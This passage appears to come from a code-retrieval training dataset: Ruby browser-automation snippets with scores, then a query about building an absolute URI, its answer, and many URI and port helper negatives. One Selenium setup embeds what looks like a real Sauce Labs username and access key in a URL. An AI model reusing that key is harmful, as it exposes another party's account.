"def register_chrome_driver\n Capybara.register_driver :chrome do |app|\n if ENV['SELENIUM_GRID'] == 'false'\n Capybara::Selenium::Driver.new(app,\n browser: :chrome,\n desired_capabilities: chrome_capabilities)\n else\n Capybara::Selenium::Driver.new(app, browser: :remote,\n url: hub_url,\n desired_capabilities: chrome_capabilities)\n end\n end\n end",
"def browser\n @options[:browser] ||= self.class.create_browser\n end",
"def new_browser\n if ENV[\"LOCAL_OR_HEROKU\"] then\n Watir::Browser.new :firefox\n else\n options = Selenium::WebDriver::Chrome::Options.new\n # make a directory for chrome if it doesn't already exist\n chrome_dir = File.join Dir.pwd, %w(tmp chrome)\n FileUtils.mkdir_p chrome_dir\n user_data_dir = \"--user-data-dir=#{chrome_dir}\"\n # add the option for user-data-dir\n options.add_argument user_data_dir\n\n # let Selenium know where to look for chrome if we have a hint from\n # heroku. chromedriver-helper & chrome seem to work out of the box on osx,\n # but not on heroku.\n if chrome_bin = ENV[\"GOOGLE_CHROME_BIN\"]\n options.add_argument \"no-sandbox\"\n options.binary = chrome_bin\n # give a hint to here too\n Selenium::WebDriver::Chrome.driver_path = \\\n \"/app/vendor/bundle/bin/chromedriver\"\n end\n\n # headless!\n # keyboard entry wont work until chromedriver 2.31 is released\n options.add_argument \"window-size=1200x600\"\n options.add_argument \"headless\"\n options.add_argument \"disable-gpu\"\n\n # make the browser\n Watir::Browser.new :chrome, options: options\n end\n end",
"def test_browser_mode!\r\n @browser_mode = BrowserMode::Test\r\n end",
"def configure_poltergeist\n # DEFAULT: headless tests with poltergeist/PhantomJS\n Capybara.register_driver :poltergeist do |app|\n Capybara::Poltergeist::Driver.new(\n app,\n phantomjs: ENV['PHANTOMJS'],\n phantomjs_options: ['--load-images=no', '--ignore-ssl-errors=yes'],\n window_size: [1280, 1024],\n timeout: (ENV['TIMEOUT'] || 30).to_i,\n js_errors: false,\n phantomjs_logger: StringIO.new,\n url_blacklist: ENV['BLACKLIST_URLS']\n )\n end\nend",
"def add_cookie(opts = {})\n driver.manage.add_cookie(opts)\n end",
"def browser_caps(browser,browser_options)\n target = (browser.to_sym if ENV['BROWSER'].nil? or ENV['browser'].empty?) || (ENV['BROWSER'].to_sym)\n browser,version,platform,device = extract_values_from(target)\n options = {}\n options.merge! browser_options\n caps = capabilities(browser,version,platform,device)\n options[:url] = url if url\n if options.include? :url\n browser = :remote\n options[:desired_capabilities] = caps\n end\n options[:http_client] = http_client if persistent_http or options.delete(:persistent_http)\n return browser,options\n end",
"def jsDriver # rubocop:disable Naming/MethodName\n Capybara.current_driver = Capybara.javascript_driver\n yield\n Capybara.current_driver = Capybara.default_driver\n end",
"def attach_browser(how, what, options = {})\n options.merge!(:browser => is_firefox? ? \"Firefox\" : \"IE\")\n begin\n options.merge!(:base_url => browser.context.base_url)\n rescue => e\n puts \"error to attach to browser: #{e}\"\n end\n WebBrowser.attach_browser(how, what, options)\n end",
"def initialize\n @browsers = []\n @selenium_port = 4444\n @selenium_timeout = 4000\n @url = \"http://www.google.com\"\n @hooks = {:before => {}, :after =>{}}\n end",
"def setup_headless_env\n # although this occasionally fails, it seems to be temporary and refreshing the page can help.\n RoutesInit.connect_to_firefox_with_timeout(20)\n end",
"def selenium_config_params\n params.require(:selenium_config).permit(:browser, :url, :user_id)\n end",
"def run_test_with(test_opts = {})\n opts = default_options.merge test_opts\n @browser = Watir::Browser.new browser_type, opts\n assert_http_proxy\n assert_https_proxy\n end",
"def browser_user_agent(browser, agent, orientation)\nsetup_watir_webdriver\nbrowser =\"firefox\"\nagent = \"iphone\"\norientation=\"portrait\"\nrequire 'watir-webdriver'\nrequire 'webdriver-user-agent'\ndriver = Webdriver::UserAgent.driver(:browser => :\"#{browser}\", :agent => :\"#{agent}\", :orientation => :\"#{orientation}\")\nbrowser = Watir::Browser.new(driver)\nend",
"def driver\n Capybara.current_driver\n end",
"def initialize(browser)\n self.browser = browser\n end",
"def default_capabilities\n {\n :browserName => \"Chrome\",\n :version => nil,\n :platform => \"Linux\"\n }\n end",
"def setup\n # Do nothing\n @driver = Selenium::WebDriver.for :firefox\n @driver.manage.window.maximize\n @driver.manage.timeouts.implicit_wait = 10\n @wait = Selenium::WebDriver::Wait.new :timeout => 10\n @verification_errors = []\n @baseURL = 'http://www.aci.aero/'\n end",
"def setup\n caps = Selenium::WebDriver::Remote::Capabilities.internet_explorer\n caps.version = \"8\"\n caps.platform = \"Windows XP\"\n caps[:name] = \"Testing Selenium 2 with Ruby on Sauce\"\n\n @driver = Selenium::WebDriver.for(\n :remote,\n :url => \"http://the-internet:26bd4eac-9ef2-4cf0-a6e0-3b7736bd5359@ondemand.saucelabs.com:80/wd/hub\",\n :desired_capabilities => caps)\nend",
"def initialize(*args)\n if args[0].kind_of?(Hash)\n options = args[0]\n @host = options[:host]\n @port = options[:port].to_i\n @browser_string = options[:browser]\n @browser_url = options[:url]\n @default_timeout_in_seconds = (options[:timeout_in_seconds] || 300).to_i\n @default_javascript_framework = options[:javascript_framework] || :prototype\n @highlight_located_element_by_default = options[:highlight_located_element] || false\n else\n @host = args[0]\n @port = args[1].to_i\n @browser_string = args[2]\n @browser_url = args[3]\n @default_timeout_in_seconds = (args[4] || 300).to_i\n @default_javascript_framework = :prototype\n @highlight_located_element_by_default = false\n end\n\n @extension_js = \"\"\n @session_id = nil\n end",
"def initialize(browser, args={})\n @args = args\n @browser = browser\n end",
"def set_sauce_browser(test_name)\n filename = File.expand_path(\"../../../config/sauce_creds.yml\", __FILE__)\n sauce_config = YAML::load(File.open(filename))\n sauce_browser = sauce_config[:browser]\n @sauce_user = sauce_config[:username]\n @sauce_key = sauce_config[:access_key]\n case sauce_browser\n when 'firefox'\n caps = Selenium::WebDriver::Remote::Capabilities.firefox\n caps[:platform] = sauce_config[:platform]\n caps[:version] = sauce_config[:version]\n when 'chrome'\n caps = Selenium::WebDriver::Remote::Capabilities.chrome\n caps[:platform] = sauce_config[:platform]\n else\n raise \"sauce browser not specified correctly - #{sauce_browser}\"\n end\n caps[:name] = test_name\n Watir::Browser.new(\n :remote,\n :url => \"http://#{@sauce_user}:#{@sauce_key}@ondemand.saucelabs.com:80/wd/hub\",\n :desired_capabilities => caps)\nend",
"def initialize browser\n @browser = browser\n end",
"def open_browser (ele)\n\n but_ref=$array2[\"#{ele}\"]\n if but_ref == \"firefox\"\n $log.info \"Firefox browser is going to open\"\n $browser = Watir::Browser.new :firefox\n elsif but_ref== \"ie\"\n $log.info \"Internet browser is going to open\"\n $browser = Watir::Browser.new :ie\n elsif but_ref == \"chrome\"\n $log.info \"Chrome browser is going to open\"\n profile = Selenium::WebDriver::Chrome::Profile.new\n profile['download.prompt_for_download'] = false\n profile['download.default_directory'] = \"D:\\\\CCL -naz\\\\configuration\"\n $browser = Watir::Browser.new :chrome, :profile => profile\n\telse\n\tfail_screenshot\n\t $log.info \"failed to open the #{ele} browser\"\n raise(\"failed to open the #{ele} browser\") \n end\n $browser.window.resize_to(1616,876)\nend",
"def base_url\n 'https://github.com/mozilla/geckodriver/releases'\n end",
"def remote_browser(host, opts = {})\n remote_browser = JsTestDriver::RemoteBrowser.new(host, opts)\n remote_browsers << remote_browser\n browser remote_browser_file_name(remote_browser.name)\n end",
"def driver\n @driver ||= page.driver.browser\n end",
"def get_browser\n client = Selenium::WebDriver::Remote::Http::Default.new\n client.open_timeout = TIMEOUT # seconds – default is 30\n browser = Watir::Browser.new DRIVER.to_sym, :http_client => client\n return browser\nend",
"def teardown\n super\n Capybara.use_default_driver\n end",
"def browser_type\n if $TESTWISE_BROWSER then\n $TESTWISE_BROWSER.downcase.to_sym\n elsif ENV[\"BROWSER\"]\n ENV[\"BROWSER\"].downcase.to_sym\n else\n RUBY_PLATFORM =~ /mingw/ ? \"ie\".to_sym : \"firefox\".to_sym\n end\n end",
"def set_subdomain sub\n Capybara.app_host = \"http://#{sub}.example.com:7171\"\nend",
"def tests(options = {:activated => true, :rspec => false})\n @options[:tests] = options\n end",
"def browser\n @browser ||= if Capybara.current_session.driver.is_a?(Capybara::Selenium::Driver)\n Capybara.current_session.driver.browser.manage\n else\n raise \"Driver cannot be used to manage cookies. Use selenium/webdriver. Rack::Test should be supported soon.\"\n end\n end",
"def setup_browser\n @browser = Browser.new(self)\n end",
"def store_selected locator, option_locator, variable_name\r\n raise 'Not supported in Selenium Core at the moment'\r\n end",
"def setup_capybara\n @poltergeist_driver = nil\n\n # Capybara will not re-run the block if the driver name already exists, so the driver name\n # will have a time integer appended to ensure uniqueness.\n driver_name = \"poltergeist_crawler_#{Time.now.to_f}\".to_sym\n Grell.logger.info \"GRELL Registering poltergeist driver with name '#{driver_name}'\"\n\n Capybara.register_driver driver_name do |app|\n @poltergeist_driver = Capybara::Poltergeist::Driver.new(app,\n js_errors: false,\n inspector: false,\n phantomjs_logger: FakePoltergeistLogger,\n phantomjs_options: ['--debug=no', '--load-images=no', '--ignore-ssl-errors=yes', '--ssl-protocol=TLSv1.2'])\n end\n\n Capybara.default_max_wait_time = 3\n Capybara.run_server = false\n Capybara.default_driver = driver_name\n Capybara.current_session.driver.headers = { # The driver gets initialized when modified here\n \"DNT\" => 1,\n \"User-Agent\" => USER_AGENT\n }\n\n raise 'Poltergeist Driver could not be properly initialized' unless @poltergeist_driver\n\n @poltergeist_driver\n end",
"def initialize(browser = :firefox)\n # @server = server\n @browser = browser\n @test_data = get_test_data\n @answer_json=Array.new\n setup\n end",
"def attach_browser(browser_handle, property, property_value)\n browser_handle.attach(property.intern, /#{property_value}/)\nend",
"def firefox?(expected_version = nil)\n Firefox.new(ua).match? && detect_version?(full_version, expected_version)\n end",
"def initialize(browser)\n @browser = browser\n end",
"def describe_with_capybara(*args, &block)\n describe *args do\n include RSpec::Rails::IntegrationExampleGroup\n module_eval &block\n end\n end",
"def set_driver(test)\n if test.metadata[:appium] && (TC::Config['tc_driver'] == 'appium' ||\n RSpec.configuration.filter.rules[:appium])\n Capybara.current_driver = TC::Config[:appium][:os].downcase.to_sym\n else\n Capybara.current_driver = :selenium\n end\n Capybara.default_driver = Capybara.current_driver\nend",
"def print_congifugartion\n puts \"Configuration : \"+$driver.execute_script(\"return navigator.userAgent;\")\n puts \"Date and Time : #{Time.now}\"\nend",
"def suite_browser_mode!\r\n @browser_mode = BrowserMode::Suite\r\n end"
] |
[
"0.7815109",
"0.7530077",
"0.7256108",
"0.7079577",
"0.68835956",
"0.6814004",
"0.6480904",
"0.6363908",
"0.6362734",
"0.6348524",
"0.63122797",
"0.62159866",
"0.6215542",
"0.6209992",
"0.6164417",
"0.6022008",
"0.59987974",
"0.59982044",
"0.5986009",
"0.5982393",
"0.5978406",
"0.59763217",
"0.59642476",
"0.5953589",
"0.5922132",
"0.5873989",
"0.58558494",
"0.5851801",
"0.58312273",
"0.5824317",
"0.58166313",
"0.57872534",
"0.57857734",
"0.57702076",
"0.5740317",
"0.5733507",
"0.57320255",
"0.5720608",
"0.5717234",
"0.5665231",
"0.5660705",
"0.5659709",
"0.5648293",
"0.56413805",
"0.5619644",
"0.56180423",
"0.5603244",
"0.55784947",
"0.5561416",
"0.555954",
"0.55454266",
"0.5533163",
"0.55292094",
"0.5510861",
"0.55015844",
"0.5486847",
"0.54859215",
"0.5480743",
"0.5454749",
"0.54357064",
"0.5428332",
"0.54211247",
"0.54135644",
"0.54078853",
"0.5393615",
"0.5385981",
"0.53559685",
"0.534388",
"0.5335534",
"0.53156704",
"0.52838224",
"0.52779204",
"0.5267996",
"0.5266682",
"0.5265474",
"0.52527684",
"0.5202519",
"0.51878023",
"0.5184314",
"0.5176838",
"0.51569766",
"0.51489013",
"0.5147408",
"0.5138475",
"0.51261365",
"0.5123887",
"0.5116402",
"0.51104224",
"0.510809",
"0.51059705",
"0.50817823",
"0.50648445",
"0.5063592",
"0.5053064",
"0.5050916",
"0.50459224",
"0.50392234",
"0.5026928",
"0.50267017",
"0.5023303"
] |
0.786688
|
0
|
Return absolute uri for path
|
def absolute_uri_path(path)
"#{root_uri}#{path}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def uri(path)\n s = File::expand_path(path).gsub(DIR, \"\").gsub(File::SEPARATOR, '/')\n return s == '' ? '/' : s\n end",
"def uri(path)\n return File.join(@base_url, path)\n end",
"def absolute_url\n domain + path\n end",
"def path\n @path ||= filters.uri_escape(absolute_url) if absolute_url\n end",
"def path\n @path ||= filters.uri_escape(absolute_url) if absolute_url\n end",
"def full_uri(path)\n raise NotImplementedError\n end",
"def absolute_path(path)\n path = Pathname.new(path)\n return Pathname.new(@config.base_path) + path unless path.absolute?\n path\n end",
"def uri\n \"#{base_uri}#{path}\"\n end",
"def full_path\n uri.request_uri\n end",
"def get_uri(path)\n file = scope.get(path)\n InvalidPath.raise! {!file}\n file.uri\n end",
"def build_uri(path)\n path = path.to_s\n unless path.match(/^\\//)\n path = \"/#{path}\"\n end\n base_uri + path\n end",
"def path_uri(path = \"/\")\n p = @server.path_uri(\"/#{name}\")\n path ? p << \"/#{path}\" : p\n end",
"def path_uri(path=\"/\")\n p = @server.path_uri(\"/#{name}\")\n path ? p << \"/#{path}\" : p\n end",
"def expand\n if absolute_path?\n # Stored path was absolute, don't add root\n scheme + path\n else\n if scheme.empty?\n File.join(root, path)\n else\n # We always want to return an absolute uri,\n # make sure the path starts with a slash.\n scheme + File.join(\"/\".freeze, root, path)\n end\n end\n end",
"def path\n @uri.path\n end",
"def absolutize_path(path = nil)\n \"#{root_path}#{path}\"\n end",
"def absolute_path\n if is_url?\n # Use the last path component without the query string plus the name\n # of the resource in Base64. This should be both mildly readable and\n # also unique per invocation.\n url_part = URI(path).path.split(/\\//).last\n base64_name = Base64.strict_encode64(name).gsub(/\\=/, '')\n ::File.join(Chef::Config[:file_cache_path], \"#{base64_name}_#{url_part}\")\n else\n ::File.expand_path(path, Chef::Config[:file_cache_path])\n end\n end",
"def to_relative_uri\n build_uri.route_from base_value\n end",
"def uri_path\n __getobj__.uri.path\n end",
"def absolute_uri (uri)\n return uri if @base_uris.empty?\n base = URI.parse(@base_uris.last)\n base.merge(uri).to_s\n end",
"def absolute_url\n return unless fileable?\n Rails.application.routes.default_url_options[:host] ||= \"http://localhost:3000\"\n Rails.application.routes.url_helpers.root_url[0..-2] + file.url\n end",
"def full_path_for(path)\n path = \"/#{path}\" unless path[0..0] == '/'\n path\n end",
"def url\n ::File.join \"/\", path.to_s\n end",
"def to_absolute_path\n File.join('', to.path(:default).to_s)\n end",
"def absolute_url(*args)\n url_path = args.shift\n if url_path.is_a?(String) && !url_path.start_with?('/')\n url_path = request.env['PATH_INFO'].rpartition('/').first << '/' << url_path\n end\n uri url(url_path, *args), true, false\n end",
"def absolute_url_for(uri, str)\n # TODO: use URI.parse() for better handling?\n return str if str =~ /^[|[:alpha:]]+:\\/\\//\n File.join(((uri.path.empty?) ? uri.to_s : File.dirname(uri.to_s)), \n str)\n end",
"def fullpath(uri)\n return File.join(DIR, uri.gsub('/', File::SEPARATOR))\n end",
"def to_path\n path = @uri.path\n return nil if path.nil? || path.empty?\n return Wgit::Url.new('/') if path == '/'\n\n Wgit::Url.new(path).without_slashes\n end",
"def absolute_path(path, reference = @pwd)\n path = File.expand_path(File.join(reference, path)) unless path.start_with? '/'\n path\n end",
"def build_uri(uri = nil)\n if uri.nil?\n \"#{@path}\"\n else\n [\"#{@path}\", uri].join(\"/\")\n end\n end",
"def path_uri(path = nil)\n p = @index.path_uri(\"_alias/#{@name}\")\n path ? p << \"/#{path}\" : p\n end",
"def _uri(uri, absolute = false, format = \"do\")\n return absolute ? \"#{uri}.#{format}\" : \"#{uri_prefix}#{uri ? uri : ''}.#{format}\"\n end",
"def url(path = \"/\")\n uri = URI.join(\"http://#{self.base_domain}\", path)\n uri.to_s\n end",
"def to_path\n path = @uri.path\n return nil if path.nil? || path.empty?\n return Wgit::Url.new('/') if path == '/'\n\n Wgit::Url.new(path).omit_slashes\n end",
"def absolute_path(options = {})\n if !@absolute_path\n # Pre-conditions\n raise ArgumentError.new(\"No document root set\") if @document_root.nil?\n\n @absolute_path = filename.sub(%r{^#@document_root}, '').sub(/^\\/?/, '/')\n @absolute_path = \"#{Juicer::Asset::Path.host_with_scheme(options[:host])}#@absolute_path\"\n end\n\n path_with_cache_buster(@absolute_path, options)\n end",
"def full_path\n path\n end",
"def to_uri\n uri_class = ::URI.const_get scheme.upcase\n uri_class.build host: host, path: path\n end",
"def base_uri\n ary = contents_uri.to_s.split(\"/\")\n ary.pop if ary[-1].blank?\n ary.pop\n ary.join(\"/\") + \"/\"\n end",
"def uri(addr = nil, absolute = true, add_script_name = true)\n addr = addr.to_s if addr\n return addr if addr =~ /\\A[A-z][A-z0-9\\+\\.\\-]*:/\n uri = if absolute\n h = if @env.has_key?(\"HTTP_X_FORWARDED_HOST\") || port != (ssl? ? 443 : 80)\n host_with_port\n else\n host\n end\n [\"http#{'s' if ssl?}://#{h}\"]\n else\n ['']\n end\n uri << script_name.to_s if add_script_name\n uri << (addr || path_info)\n File.join(uri)\n end",
"def path(uri)\n path, _ = path_and_name(uri)\n path\n end",
"def full_url(path)\n \"#{base_url}#{path}\"\n end",
"def absolutize uri_s, context\n begin\n uri = URI.parse uri_s\n return uri_s if uri.absolute?\n\n path_base = @base\n path_to(context).each do |node|\n if (xb = node.attributes['xml:base'])\n xb = URI.parse xb\n if xb.absolute? then path_base = xb else path_base.merge! xb end\n end\n end\n\n return path_base.merge(uri).to_s\n rescue URI::InvalidURIError\n return nil\n end\n end",
"def path\n @uri.request_uri\n end",
"def local_uri\n\n return nil unless self.uri\n u = full_uri\n u[0, 1] == '/' ? \"#{RAILS_ROOT}/public#{u}\" : u\n end",
"def relative_path_from(from); end",
"def abspath path\n if path[0] != '/'\n @homedir + '/' + path\n else\n path\n end\n end",
"def uri(path=nil)\n (path and @uri = path) or @uri\n end",
"def resolve_path(path, reference)\n # Absolute URL\n if path =~ %r{^(/|[a-z]+:)}\n if @options[:document_root].nil?\n msg = \"Cannot resolve absolute path '#{path}' without document root option\"\n raise ArgumentError.new(msg)\n end\n\n path.sub!(%r{^[a-z]+://[^/]+/}, '')\n return File.expand_path(File.join(@options[:document_root], path))\n end\n\n File.expand_path(File.join(File.dirname(reference), path))\n end",
"def path_root\n base_uri ? base_uri : path_to( '/' )\n end",
"def uri\n uri_for({}, nil)\n end",
"def full_url_for(path)\n path = full_path_for(path)\n uri = request.request_uri\n host = uri.scheme + \"://\" + uri.host\n port = uri.port\n host << \":#{port}\" unless port == 80\n \"#{host}#{path}\"\n end",
"def fullpath\n File.join(@root, @path)\n end",
"def full_path\n container.root.join(path)\n end",
"def full_path\n container.root.join(path)\n end",
"def absolutize(uri_s, context)\n begin\n uri = URI.parse uri_s\n return uri_s if uri.absolute?\n\n path_base = @base\n path_to(context).each do |node|\n if (xb = node.attributes['xml:base'])\n xb = URI.parse xb\n if xb.absolute? then path_base = xb else path_base.merge! xb end\n end\n end\n\n return path_base.merge(uri).to_s\n rescue URI::InvalidURIError\n return nil\n end\n end",
"def absolutepath\n if absolute?\n self\n elsif to_s == \".\"\n realpath\n else\n parent.absolutepath + self.basename\n end\n end",
"def urlpath\n path = cleanpath\n path.blank? ? '/root' : '/' + path\n end",
"def getPath()\n return @uri.path\n end",
"def full_path; end",
"def full_url\n [ self.class.base, normalize_uri ].join('')\n end",
"def _uri_path\n \"#{@dir}.#{CGI.escape @reg}/#{CGI.escape @dss}\"\n end",
"def abs_path() \n if not @abs_path.nil? \n return @abs_path\n end\n\n if @parent.nil? or @parent.abs_path.nil?\n return @rel_path\n end\n\n @abs_path = \"#{@parent.abs_path}.#{rel_path}\"\n\n return @abs_path\n end",
"def full_uri\n \"#{host_uri}#{uri}\"\n end",
"def to_abs_path\n File.expand_path(self)\n end",
"def absolute?\n @uri.absolute?\n end",
"def abs_path_with(rel_path)\n path = abs_path\n return rel_path if path.nil?\n return \"#{path}.#{rel_path}\"\n end",
"def url(path)\n path\n end",
"def expand_url(path = '')\n if self.blank? || self.absolute_url?\n return self\n else\n return path.end_with?('/') ? \"#{path}#{self}\" : \"#{path}/#{self}\"\n end\n end",
"def to_uri\n build_uri\n end",
"def host_and_path(uri)\n uri = URI.parse(uri) unless uri.is_a? URI\n host = uri.host\n path = uri.path.gsub(/\\/$/, '')\n path = path.empty? ? '/' : uri.path\n URI.parse(\"#{host}#{path}\")\n end",
"def build_path\n @path_values.inject(base_value){|uri,path| uri.merge URI::Generic.build(path: path) }.path\n end",
"def absolute_path_base\n absolute_path.gsub File.extname( absolute_path ), ''\n end",
"def relative_path(from, to); end",
"def request_uri\n return nil if absolute? && scheme !~ /^https?$/\n res = path.to_s.empty? ? \"/\" : path\n res += \"?#{self.query}\" if self.query\n return res\n end",
"def uri\n \"http://example.com#{base_path}#{anchor}\"\n end",
"def abspath(file)\n File.absolute_path(file)\nend",
"def make_absolute_uri(hash={})\n @urigen.make_absolute_uri(hash)\n end",
"def abspath(path)\n Pathname.new(File.expand_path(path)).realpath.to_s\n end",
"def absolute_url(href)\n Addressable::URI.join(self.class::DOMAIN, href).to_s\n end",
"def build_href(path, collection: false)\n if propstat_relative_path\n request.path_for path, collection: collection\n else\n request.url_for path, collection: collection\n end\n end",
"def path\r\n url.gsub(/https?:\\/\\/[^\\/]+\\//i, '').scan(/([^&]+)/i).first().first()\r\n end",
"def full_url(url, path)\n if path.start_with?('http')\n path\n else\n url = url[0..1] if url.end_with?('/')\n path = path[1..-1] if path.start_with?('/')\n \"#{url}/#{path}\"\n end\n end",
"def relative_to_absolute(path)\n if Pathname.new(path).absolute?\n Pathname.new(path)\n else\n Pathname.new(\"#{Pathname.pwd}/#{path}\")\n end\n end",
"def absolute_url(*args)\n base_url + url(*args)\n end",
"def path\n real_path = Pathname.new(root).realpath.to_s\n full_path.sub(%r{^#{real_path}/}, '')\n end",
"def uri\n self + \"\"\n end",
"def uri\n self + \"\"\n end",
"def full_path\n @full_path ||= path ? File.join(root, path) : root\n end",
"def to_relative_url\n to_relative_uri.to_s\n end",
"def full_uri\n\n return nil unless self.uri\n self.uri.index('/') ? self.uri : \"/defs/#{self.uri}\"\n end",
"def path\n Pathname(@path.respond_to?(:to_path) ? @path.to_path : @path.to_s).expand_path\n end",
"def uri\n @uri.to_s\n end",
"def realpath\n if(self.page)\n return Rails.application.routes.url_helpers.page_path(self.page)\n end\n '/' + self.explicit_path\n end",
"def absolute_url\n\t\treturn \"#{$domain}/#{self.photo.url}\"\n\tend",
"def full_url(path)\n uri = URI.parse path\n uri.scheme, uri.host, uri.port = request.scheme, request.host, (request.port == 80 ? nil : request.port)\n uri.to_s\n end",
"def get_absolute_path(file)\n File.expand_path file\nend",
"def full_path(path)\n if path.nil?\n '<unknown>'\n else\n begin\n File.expand_path(path)\n rescue\n '<unknown>'\n end\n end\n end",
"def uri (name,default=\"\")\n \n name=name.to_s\n #FIXME: bad urls (for example just www.example.com will produce an endless-loop\n if name.try(:include?, \"://\")\n return name[0..name.length-2] if name[-1,1]==\"/\"\n return name[0..name.length]\n else\n name +=\"/\" unless (name[name.length-1..name.length-1] == (\"/\" || \"#\")) || name.try(:include?, \":\")\n\n if name.index(\":\") \n t= @object_namespaces[name.split(\":\")[0].to_sym]\n t ||=\"\"\n t += \"/\" unless (t[t.length-1..t.length-1] == (\"/\" || \"#\") || t.blank?) || name.try(:include?, \":\")\n return uri( t+ normalize_local_name(name.split(\":\")[1])+\"/\")\n else \n t= default.blank? ? @base_uri : default\n t += \"/\" unless t[t.length-1..t.length-1]==\"/\"\n return uri( t + normalize_local_name(name))\n end\n end\n end",
"def to_s\n uri\n end",
"def uri\n URI.new :scheme => scheme,\n :host => host,\n :path => path,\n :query => query\n end"
] |
[
"0.7787539",
"0.7586607",
"0.758113",
"0.7573215",
"0.7573215",
"0.7544063",
"0.747992",
"0.736957",
"0.73562634",
"0.7326265",
"0.7321616",
"0.73165345",
"0.72991306",
"0.7286656",
"0.7269893",
"0.7259619",
"0.7200553",
"0.71972775",
"0.7184429",
"0.71646506",
"0.7156175",
"0.7120263",
"0.71062845",
"0.7081703",
"0.7076701",
"0.70478487",
"0.7043856",
"0.7039924",
"0.7031348",
"0.70207113",
"0.7010542",
"0.69981754",
"0.6997264",
"0.6986224",
"0.69716316",
"0.6970472",
"0.69682264",
"0.6959024",
"0.6949438",
"0.6924189",
"0.6900433",
"0.6851713",
"0.6840286",
"0.6829995",
"0.6819854",
"0.6817868",
"0.6801738",
"0.6788196",
"0.67650044",
"0.67641795",
"0.6763256",
"0.6761496",
"0.6761459",
"0.6761459",
"0.67513925",
"0.6750741",
"0.67505825",
"0.6732666",
"0.6727594",
"0.6711362",
"0.6696952",
"0.66808844",
"0.667978",
"0.66727304",
"0.6667733",
"0.6663609",
"0.66281575",
"0.66185874",
"0.6612094",
"0.66112995",
"0.6602837",
"0.6593938",
"0.65927774",
"0.65913296",
"0.6587321",
"0.6583343",
"0.6582922",
"0.65712535",
"0.6570887",
"0.6570805",
"0.6567215",
"0.6565024",
"0.65645474",
"0.6561781",
"0.65598553",
"0.65578455",
"0.65578455",
"0.6547048",
"0.65426064",
"0.6539666",
"0.6517077",
"0.6516124",
"0.65070623",
"0.64974535",
"0.6480966",
"0.6476239",
"0.64754635",
"0.64744246",
"0.64712334",
"0.64700186"
] |
0.85709447
|
0
|
Return host with optional port Only returns port if protocols default port diffes from actual port.
|
def host_with_port
uhost, uport = self.host, self.port
if port != protocol.default_port
"#{uhost}:#{uport}"
else
uhost
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def host_with_port\n [config.host, optional_port].compact.join(\":\")\n end",
"def port_string\n (protocol == 'http://' && port == 80) || (protocol == 'https://' && port == 443) ? '' : \":#{port}\"\n end",
"def optional_port; end",
"def port(port, host = T.unsafe(nil)); end",
"def port_default?\n self.port == (self.secure? ? HTTPS_PORT_DEFAULT : HTTP_PORT_DEFAULT)\n end",
"def host_with_port; end",
"def host_with_port\n if uri.port.nil? || uri.port.to_i == 80\n uri.host\n else\n \"#{uri.host}:#{uri.port}\"\n end\n end",
"def host_with_port\n request.host + (request.port == 80 ? '' : ':' + request.port.to_s)\n end",
"def non_default_port(scheme,port)\n case scheme\n when /^http$/i then port==80 ? nil : port\n when /^https$/i then port==443 ? nil : port\n else port\n end\n end",
"def default_port\n data.default_port\n end",
"def port_from_host_entry\n port_str = NewRelic::Agent.config[:'infinite_tracing.trace_observer.host'].scan(%r{:(\\d+)$}).flatten\n if port = port_str[0]&.to_i\n NewRelic::Agent.logger.warn(\":'infinite_tracing.trace_observer.port' is ignored if present because :'infinite_tracing.trace_observer.host' specifies the port\")\n return port\n end\n end",
"def port(opts={})\n # Check if port was specified in options hash\n pnum = opts[:port]\n return pnum if pnum\n\n # Check if we have an SSH forwarded port\n pnum = nil\n env.vm.vm.network_adapters.each do |na|\n pnum = na.nat_driver.forwarded_ports.detect do |fp|\n fp.name == env.config.ssh.forwarded_port_key\n end\n\n break if pnum\n end\n\n return pnum.hostport if pnum\n\n # This should NEVER happen.\n raise Errors::SSHPortNotDetected\n end",
"def host_with_port\n AppConfig.host(request.host) + (port_needed? ? ':' + request.port.to_s : '')\n end",
"def raw_host_with_port; end",
"def default_port\n case scheme\n when 'http' then 80\n when 'https' then 443\n end\n end",
"def default_port\n @default_port ||= 1234\n end",
"def default_port\n transport.default_port\n end",
"def host_port(options)\n require \"jenkins\"\n require \"jenkins/config\"\n if base_uri = ::Jenkins::Config.config['base_uri']\n uri = URI.parse(::Jenkins::Config.config['base_uri'])\n host = uri.host\n port = uri.port\n end\n host = options[\"host\"] if options[\"host\"]\n port = options[\"port\"] || port || '80'\n [host, port]\n end",
"def port\n connect_address.ip_port\n rescue SocketError\n # Not bound to any local port\n rescue IOError\n # Socket has been closed\n end",
"def public_port\n return get('beef.http.public.port') unless get('beef.http.public.port').nil?\n\n return '443' if public_https_enabled?\n return '80' unless public_host.nil?\n\n nil\n end",
"def port\n @port ||= target.split(':',2).last.to_i\n end",
"def build_port(scheme=nil)\n non_default_port(scheme, @port_value || non_default_port(base_value.scheme, base_value.port))\n end",
"def port\n @port ||= opts.fetch(:port, parsed_uri.port)\n end",
"def full_host\n a = Addressable::URI.heuristic_parse(LygneoClient.scheme + \"://\" + self.host)\n a.port ||= a.inferred_port\n a\n end",
"def port\n @port || (secure ? 443 : 80)\n end",
"def port_string; end",
"def actual_port; end",
"def actual_port; end",
"def normalized_port\n if port\n np = port.to_i\n PORT_MAPPING[normalized_scheme] != np ? np : nil\n end\n end",
"def port\n if @port == DEFAULT_HTTP_PORT\n DEFAULT_SSL_PORT\n else\n @port\n end\n end",
"def local_port\n get('beef.http.port') || '3000'\n end",
"def standard_port?; end",
"def port\n return @forwarded_port || @port\n end",
"def homeserver\n port_s = port ? \":#{port}\" : ''\n domain ? domain + port_s : ''\n end",
"def homeserver\n port_s = port ? \":#{port}\" : ''\n domain ? domain + port_s : ''\n end",
"def server_port(id = '__default__')\n @servers[id].port\n end",
"def default_port\n if secure?\n 443\n else\n 80\n end\n end",
"def default_port\n if secure?\n 443\n else\n 80\n end\n end",
"def port\n p = attributes['port'].to_i\n (p == 0 ? nil : p)\n end",
"def remote_port_and_host\n [forwarding[2], forwarding[3] || \"127.0.0.1\"]\n end",
